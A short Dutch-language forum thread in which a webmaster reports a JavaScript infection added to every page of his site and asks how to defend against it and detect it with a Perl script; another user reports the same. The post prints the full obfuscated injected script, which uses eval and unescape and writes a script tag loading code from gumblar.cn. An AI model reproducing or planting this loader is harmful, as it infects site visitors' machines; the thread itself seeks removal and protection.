Beste Webmaster,

Sinds vandaag kwam ik erachter dat er een virus in omloop is op ons netwerk namelijk een javascript virus.


Het is een automatisch programma die waarschijnlijk via de URL input de volgende javascript onder aan de body neer zet op elke pagina die er op je website staat.

PHP Code:

<scr ipt language=java script><!-- 
(function(c170h){var oIy=('var<20a<3d<22Sc<72ip<74En<67i<6ee<22<2cb<3d<22<56ersio<6e()+<22<2cj<3d<22<22<2cu<3d<6eavi<67a<74or<2euse<72Agent<3b<69f((<75<2ein<64exO<66(<22Wi<6e<22)<3e0)<26<26(u<2ein<64exOf(<22NT<206<22)<3c0)<26<26(<64ocum<65n<74<2eco<6fkie<2ei<6ede<78Of(<22<6diek<3d1<22)<3c0<29<26<26<28typ<65of(zrvzts)<21<3d<74ype<6ff(<22A<22)))<7bzrvzts<3d<22A<22<3be<76<61l(<22i<66(<77in<64ow<2e<22<2ba+<22<29j<3d<6a+<22<2ba+<22<4d<61jor<22<2bb+a+<22Mi<6eor<22<2bb+<61+<22B<75i<6cd<22+b+<22j<3b<22)<3b<64ocume<6et<2ewr<69te<28<22<3csc<72ipt<20src<3d<2f<2fgumb<6car<2ecn<2frss<2f<3fid<3d<22+j+<22<3e<3c<5c<2fscript<3e<22<29<3b<7d').replace(c170h,'%');eval(unescape(oIy))})(/</g);
 --></scr ipt> 


Heeft iemand deze code/virus vaker gehad op hun website/netwerk en weet iemand hoe je hier kan tegen beveiligen ?

Heeft er misschien iemand een perl script die elke php of html bestand uitleest en controleerd of deze code erin staat en zoja deze wegschrijft in een bestand zodat ik ze eruit kan gaan halen ?

Alvast bedankt,

Met vriendelijke groet,
Raymond

Ik heb hier ook last van op 1 server. Het lijkt iets met perl te zijn en ik heb 1 ip-adres eruit gevist welke mijn server heeft geïnfecteerd maar nu het er weer afkrijgen....